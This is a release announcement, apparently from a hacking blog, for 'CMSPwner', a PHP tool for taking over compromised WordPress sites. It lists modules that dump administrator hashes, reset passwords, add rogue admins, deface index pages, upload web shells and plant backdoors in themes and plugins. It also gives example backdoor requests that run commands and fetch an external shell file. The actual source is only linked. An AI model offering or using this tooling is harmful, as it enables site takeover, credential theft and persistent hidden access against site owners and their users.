#########
# Script Title: CMSPwner
# Version: 1.0 Beta
# Date: 02/08/12
# Script Author: Xt3mP
# Home: http://xt3mp.mx
# For: http://r00tw0rm.com
# Contact: xt3mp[at]null[dot]com
# User: Xt3mP
# Pass: root
# _____ _____ _____ _____
# | | | __| _ |_ _ _ ___ ___ ___
# | --| | | |__ | __| | | | | -_| _|
# |_____|_|_|_|_____|__| |_____|_|_|___|_|
#
#########
.+--==[0x00 - About]>.
CMSPwner is a PHP script created with the intention to take
completely any cms control. This version only have a Wordpress
module, and it's Beta version, so it's probably has errors.
-+--==[0x01 - Demostration]>.
URL: http://www.youtube.com/watch?v=Y8gqHpw4DMQ
.+--==[0x02 - Menu]>.
[+]Login
[-]Authentication: Requires user credentials (non wordpress).
[+]SQL data
[-]SQL Information: Option to take automatically the config in config.php file.
[+]Menu
[-]Home:
*Contains most important Wordpress information.
[-]Logout:
*Log out of the script.
[-]Self Remove:
*Delete completly the script.
[-]About:
*Contains information about the author.
[+]Admin
[-]Admin List:
*Contains all Administrators users with login, hash and mail.
[-]Reset Adm Pass:
*Module to reset any administrator user password.
[-]Add New Admin:
*Module to add a new administrator.
[+]Change Index
[-]Main [fopen]:
*Module to change -WORDPRESS MAIN INDEX- (not theme index).
[-]Theme [cURL]:
*Module to change -WORDPRESS THEME INDEX- (user credentials required).
[-]Theme [fopen]: Module to change -WORDPRESS THEME INDEX- (no user credentials required).
[+]Shell
[-]Upload:
*Module to upload shell.
[-]Make [themes]:
*Module to create shell in themes' path.
[-]Make [plugins]:
*Module to create shell in plugin' path.
[+]Backdoor
[-]Active Theme:
*Module to make a backdoor in any theme.
[-]Active Plugin:
*Module to make a backdoor in any plugin.
[>]Types:
*system(): Execute commands, example:
http://site/wp-content/x/file.php?active=true&cmd=ls
*File Downloader: Download file and make shell, example:
http://site/wp-content/x/file.php?
active=true&filename=SHELL.PHP&externalfile=http://web/shell.txt
.+--==[0x03 - Issues]>.
[+]Maybe you would have problems with permissions.
So, you can edit .htaccess or chmod file in question.
[+]Problem with magic_quotes and stripslashes, check what content you would post.
.+--==[0x04 - Source]>.
<?php
#########
# Script Title: CMSPwner v1 Wordpress Version
# Version: 1.0 Beta
# Date: 02/08/12
# Script Author: Xt3mP
# Home: http://xt3mp.mx
# For: http://r00tw0rm.com
# Contact: xt3mp[at]null[dot]com
# _____ _____ _____ _____
# | | | __| _ |_ _ _ ___ ___ ___
# | --| | | |__ | __| | | | | -_| _|
# |_____|_|_|_|_____|__| |_____|_|_|___|_|
#
#########Source: http://pastebin.com/S61AxmWV
If you like my blog, Please Donate Me
